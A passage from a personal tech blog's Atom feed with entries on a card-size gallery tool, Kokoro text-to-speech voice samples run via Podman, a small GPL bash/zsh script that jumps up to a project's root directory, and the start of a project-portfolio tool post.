&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tehtävän määräaika on 24 h ennen viimeisen opetuskerran alkua. Tämä bonustehtävä on kokonaan vapaaehtoinen.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Onnea lipunryöstöön!&lt;/em&gt;&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Card Size Gallery</title>
    <link href="https://terokarvinen.com/card-size-gallery/"/>
    <id>https://terokarvinen.com/card-size-gallery/</id>
    <published>2026-08-03T20:22:00+03:00</published>
    <updated>2026-08-03T20:22:00+03:00</updated>
    <content type="html">&lt;p&gt;List of products is often shown as images on a grid. This pattern is called &quot;cards&quot;.&lt;/p&gt;
&lt;p&gt;Card Size Gallery allows you to test what different card formats look like.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/card-size-gallery/card-sizes-grid.html&quot;&gt;Try Card Size Gallery&lt;/a&gt; - right in your browser.&lt;/p&gt;
&lt;p&gt;Clanker warning: I created this AI-assisted.&lt;/p&gt;
&lt;figure&gt;
&lt;a href=&quot;https://terokarvinen.com/card-size-gallery/card-sizes-grid.html&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/card-size-gallery/Test-card-sizes-grid-of-images.w480.h9d65dd3d.avif 480w, https://terokarvinen.com/card-size-gallery/Test-card-sizes-grid-of-images.w800.h9d65dd3d.avif 800w, https://terokarvinen.com/card-size-gallery/Test-card-sizes-grid-of-images.w1109.h9d65dd3d.avif 1109w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/card-size-gallery/Test-card-sizes-grid-of-images.w800.h9d65dd3d.png&quot; srcset=&quot;https://terokarvinen.com/card-size-gallery/Test-card-sizes-grid-of-images.w800.h9d65dd3d.png 800w, https://terokarvinen.com/card-size-gallery/Test-card-sizes-grid-of-images.w1109.h9d65dd3d.png 1109w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot; width=&quot;800&quot; height=&quot;877&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

</content>
  </entry>

  <entry>
    <title>Kokoro TTS - Voice Comparison</title>
    <link href="https://terokarvinen.com/kokoro-foss-tts-voice-comparison/"/>
    <id>https://terokarvinen.com/kokoro-foss-tts-voice-comparison/</id>
    <published>2026-07-08T17:10:00+03:00</published>
    <updated>2026-07-08T17:10:00+03:00</updated>
    <content type="html">&lt;p&gt;Free, open weight models can generate speech. On your local machine.&lt;/p&gt;
&lt;p&gt;Listen to &lt;a href=&quot;https://terokarvinen.com/kokoro-voice-comparison/&quot;&gt;voice samples of all Kokoro TTS voices&lt;/a&gt; on the web.&lt;/p&gt;
&lt;p&gt;Optionally, install Kokoro with Podman.&lt;/p&gt;
&lt;h2 id=&quot;listen-and-compare-voices-in-your-browser&quot;&gt;Listen and Compare Voices in Your Browser &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/#listen-and-compare-voices-in-your-browser&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Search and filter by gender and language. The demo text is currently only in English.&lt;/p&gt;
&lt;p&gt;Kokoro is a free text-to-speech engine, architected by Li, Han, Raghavan, Mischler and Mesgarani; and trained by @rzvnzn. I just created the samples and the page to filter them. Their default flagship voice is af_heart (English, female), but there are many other interesting voices.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/kokoro-voice-comparison/&quot;&gt;Listen Kokoro samples now&lt;/a&gt;.&lt;/p&gt;
&lt;figure style=&quot;max-width: 700px&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/kokoro-voice-comparison/&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/kokoro-tts-foss-voice-comparison-samples-english-female.w480.h596f3183.avif 480w, https://terokarvinen.com/kokoro-foss-tts-voice-comparison/kokoro-tts-foss-voice-comparison-samples-english-female.w700.h596f3183.avif 700w&quot; sizes=&quot;(max-width: 700px) 100vw, 700px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/kokoro-tts-foss-voice-comparison-samples-english-female.w700.h596f3183.png&quot; srcset=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/kokoro-tts-foss-voice-comparison-samples-english-female.w700.h596f3183.png 700w&quot; sizes=&quot;(max-width: 700px) 100vw, 700px&quot; width=&quot;700&quot; height=&quot;431&quot; alt=&quot;Kokoro-82M voice comparison: English female voices, with grades&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;figcaption&gt;Kokoro-82M voice comparison: English female voices, with grades&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id=&quot;run-kokoro-with-podman&quot;&gt;Run Kokoro with Podman &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/#run-kokoro-with-podman&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;These commands assume you already have Podman installed. Podman runs containers like Docker. It&#39;s safer than Docker, as it does not require root (or the infamous root-equivalent docker group).&lt;/p&gt;
&lt;p&gt;Let&#39;s download and run Brauns ready-made Kokoro container:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;podman&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; run&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;p&lt;/span&gt; 8880:8880 ghcr.io/remsky/kokoro-fastapi-cpu&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Web user interface: &lt;a href=&quot;http://localhost:8880/web/&quot;&gt;http://localhost:8880/web/&lt;/a&gt;&lt;/p&gt;
&lt;figure style=&quot;max-width: 700px&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/fast-kokoro-web.w700.h506b7cfb.jpg&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/fast-kokoro-web.w480.h506b7cfb.avif 480w, https://terokarvinen.com/kokoro-foss-tts-voice-comparison/fast-kokoro-web.w700.h506b7cfb.avif 700w&quot; sizes=&quot;(max-width: 700px) 100vw, 700px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/fast-kokoro-web.w700.h506b7cfb.jpg&quot; srcset=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/fast-kokoro-web.w700.h506b7cfb.jpg 700w&quot; sizes=&quot;(max-width: 700px) 100vw, 700px&quot; width=&quot;700&quot; height=&quot;445&quot; alt=&quot;FastKoko, a web interface for Kokoro text to speech&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;figcaption&gt;FastKoko, a web interface for Kokoro text to speech&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;API, usable with Python requests http://localhost:8880/v1&lt;/p&gt;
&lt;h2 id=&quot;see-also&quot;&gt;See also &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/#see-also&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/kokoro-foss-tts-voice-comparison/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hacker News 2026: &lt;a href=&quot;https://news.ycombinator.com/item?id=48821576&quot;&gt;Local, CPU-Friendly, High-Quality TTS (Text-to-Speech) with Kokoro&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Li, Han, Raghavan, Mischler and Mesgarani, @rzvnzn 2026: &lt;a href=&quot;https://huggingface.co/hexgrad/Kokoro-82M&quot;&gt;hexgrad/Kokoro-82M on HuggingFace&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Braun 2026: &lt;a href=&quot;https://github.com/remsky/Kokoro-FastAPI&quot;&gt;remsky / Kokoro-FastAPI on Github&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>cdu - Jump up to project directory</title>
    <link href="https://terokarvinen.com/cdu-change-dir-up-to-project-dir/"/>
    <id>https://terokarvinen.com/cdu-change-dir-up-to-project-dir/</id>
    <published>2026-07-06T11:58:00+03:00</published>
    <updated>2026-07-06T11:58:00+03:00</updated>
    <content type="html">&lt;p&gt;You&#39;re five levels deep in your git repo. You would like to get to the top level. &#39;cdu&#39;.&lt;/p&gt;
&lt;p&gt;An up only directory jumper for zsh and bash. Nicely complements other directory jumpers, like zoxide, autojump or fasd.&lt;/p&gt;
&lt;h2 id=&quot;usage-example&quot;&gt;Usage example &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cdu-change-dir-up-to-project-dir/#usage-example&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cdu-change-dir-up-to-project-dir/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-pwd hl-shell&quot;&gt;pwd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;/home/tero/code/revincom/doc/design/subsystems/nav/fallbacks/sun&lt;/span&gt;
&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;cdu&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;/home/tero/code/revincom&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;Found .git&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you have really deep repos, such as monorepos, cdu can help you even more.&lt;/p&gt;
&lt;p&gt;Deep in a Django project, cdu jumps to manage.py level first. The next cdu will take you to repo root.&lt;/p&gt;
&lt;h2 id=&quot;a-new-cdu-change-dir-up&quot;&gt;A new &#39;cdu&#39;, change dir up &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cdu-change-dir-up-to-project-dir/#a-new-cdu-change-dir-up&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cdu-change-dir-up-to-project-dir/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I have used a longer bash version for years. This is a rewrite to support both zsh and bash. It&#39;s also shorter. Prettier and more features, but less tested than the old one.&lt;/p&gt;
&lt;p&gt;Save the source code to a dir where it runs (e.g. /usr/local/bin/changedirup). Make runnable (chmod ugo+rx /usr/local/bin/changedirup). Add to your .bashrc and .zshrc: &#39;alias cdu=&quot;source changedirup&quot;&#39;. Log out and back.&lt;/p&gt;
&lt;p&gt;And now you can jump up with &#39;cdu&#39;.&lt;/p&gt;
&lt;h2 id=&quot;source-code-gpl&quot;&gt;Source code, GPL &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cdu-change-dir-up-to-project-dir/#source-code-gpl&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cdu-change-dir-up-to-project-dir/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;!/bin/bash&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; changedirup - cd up to project top dir, &amp;#39;alias cdu=&amp;quot;source changedirup&amp;quot;&amp;#39;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; To persist it, add the alias to .zshrc or .bashrc&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; Single usage also works with &amp;#39;source cdu&amp;#39; or &amp;#39;. cdu&amp;#39;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; Can be run again to go to even higher project dir. &lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; cdu works with zsh and bash. Shebang #! is just for syntax highlight.&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; SPDX-License-Identifier: GPL-3.0-or-later&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; SPDX-FileCopyrightText: Copyright 2020-2026 Tero Karvinen https://TeroKarvinen.com&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;hl-variable hl-other hl-readwrite hl-assignment hl-shell&quot;&gt;CDU_PWD_WAS&lt;/span&gt;&lt;span class=&quot;hl-keyword hl-operator hl-assignment hl-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;hl-string hl-unquoted hl-shell&quot;&gt;&lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-group hl-expansion hl-command hl-parens hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-variable hl-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-section hl-parens hl-begin hl-shell&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;pwd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-section hl-parens hl-end hl-shell&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-cd hl-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; ..&lt;/span&gt;
&lt;span class=&quot;hl-keyword hl-control hl-while hl-shell&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;true&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-keyword hl-operator hl-logical hl-continue hl-shell&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;hl-keyword hl-control hl-do hl-shell&quot;&gt;do&lt;/span&gt;
	&lt;span class=&quot;hl-keyword hl-control hl-for hl-shell&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;hl-meta hl-group hl-for hl-shell&quot;&gt; f &lt;span class=&quot;hl-keyword hl-control hl-in hl-shell&quot;&gt;in&lt;/span&gt; .git Makefile .profile .bashrc README.md requirements.txt go.mod manage.py hosts.ini .project project.godot Dockerfile Cargo.toml index.theme config.toml default.gpr DICOMDIR ansible.cfg site.yml Vagrantfile package.json pyproject.toml zowe.yaml pom.xml build.gradle Gemfile composer.json docker-compose.yml compose.yaml .cobaltstrike.beacon_keys flake.nix  .zshrc .ssh .sliver .sliver-client .msf4 havoc_default.yaotl .projectile .svn .hg .fossil .jj .editorconfig _darcs .bzr Cargo.lock .bash_profile&lt;/span&gt;
	&lt;span class=&quot;hl-keyword hl-control hl-do hl-shell&quot;&gt;do&lt;/span&gt;
		&lt;span class=&quot;hl-keyword hl-control hl-if hl-begin hl-shell&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;hl-support hl-function hl-test hl-begin hl-shell&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; &lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt;-&lt;/span&gt;e&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-group hl-expansion hl-parameter hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-variable hl-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;hl-variable hl-other hl-readwrite hl-shell&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;hl-support hl-function hl-test hl-end hl-shell&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-keyword hl-operator hl-logical hl-continue hl-shell&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;hl-keyword hl-control hl-if hl-then hl-shell&quot;&gt;then&lt;/span&gt;
			&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-echo hl-shell&quot;&gt;echo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;Found &lt;span class=&quot;hl-meta hl-group hl-expansion hl-parameter hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-variable hl-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;hl-variable hl-other hl-readwrite hl-shell&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
			&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-pwd hl-shell&quot;&gt;pwd&lt;/span&gt;&lt;/span&gt;
			&lt;span class=&quot;hl-keyword hl-control hl-break hl-shell&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; 2&lt;/span&gt;
		&lt;span class=&quot;hl-keyword hl-control hl-if hl-end hl-shell&quot;&gt;fi&lt;/span&gt;
	&lt;span class=&quot;hl-keyword hl-control hl-done hl-shell&quot;&gt;done&lt;/span&gt;

	&lt;span class=&quot;hl-keyword hl-control hl-if hl-begin hl-shell&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;hl-support hl-function hl-test hl-begin hl-shell&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-group hl-expansion hl-command hl-parens hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-variable hl-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-section hl-parens hl-begin hl-shell&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;pwd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-section hl-parens hl-end hl-shell&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;hl-keyword hl-operator hl-logical hl-shell&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;/&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;hl-support hl-function hl-test hl-end hl-shell&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-keyword hl-operator hl-logical hl-continue hl-shell&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;hl-keyword hl-control hl-if hl-then hl-shell&quot;&gt;then&lt;/span&gt;
		&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-cd hl-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-group hl-expansion hl-parameter hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-variable hl-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;hl-variable hl-other hl-readwrite hl-shell&quot;&gt;CDU_PWD_WAS&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-echo hl-shell&quot;&gt;echo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;No project files found above. Working directory unchanged.&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-pwd hl-shell&quot;&gt;pwd&lt;/span&gt;&lt;/span&gt;
		&lt;span class=&quot;hl-keyword hl-control hl-break hl-shell&quot;&gt;break&lt;/span&gt;
	&lt;span class=&quot;hl-keyword hl-control hl-if hl-end hl-shell&quot;&gt;fi&lt;/span&gt;
	
	&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-cd hl-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; ..&lt;/span&gt; &lt;span class=&quot;hl-keyword hl-operator hl-logical hl-or hl-shell&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;hl-keyword hl-control hl-break hl-shell&quot;&gt;break&lt;/span&gt; &lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-comment hl-begin hl-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt; prevent infinite loop in the rare case cd fails for permissions&lt;/span&gt;&lt;span class=&quot;hl-comment hl-line hl-number-sign hl-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;hl-keyword hl-control hl-done hl-shell&quot;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>

  <entry>
    <title>ppp Personal Project Portfolio</title>
    <link href="https://terokarvinen.com/ppp-personal-project-portfolio/"/>
    <id>https://terokarvinen.com/ppp-personal-project-portfolio/</id>
    <published>2026-07-02T11:52:00+03:00</published>
    <updated>2026-07-02T11:52:00+03:00</updated>
    <content type="html">&lt;p&gt;Arrange your ideas into a skill tree.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pick little wins on your way to big goals&lt;/li&gt;
&lt;li&gt;Ship something at every step&lt;/li&gt;
&lt;li&gt;Turn ambition into output&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/ppp/&quot;&gt;Open ppp in your browser&lt;/a&gt;. Free, no login.&lt;/p&gt;
&lt;h2 id=&quot;talk-nerd-to-me&quot;&gt;Talk nerd to me &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/#talk-nerd-to-me&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
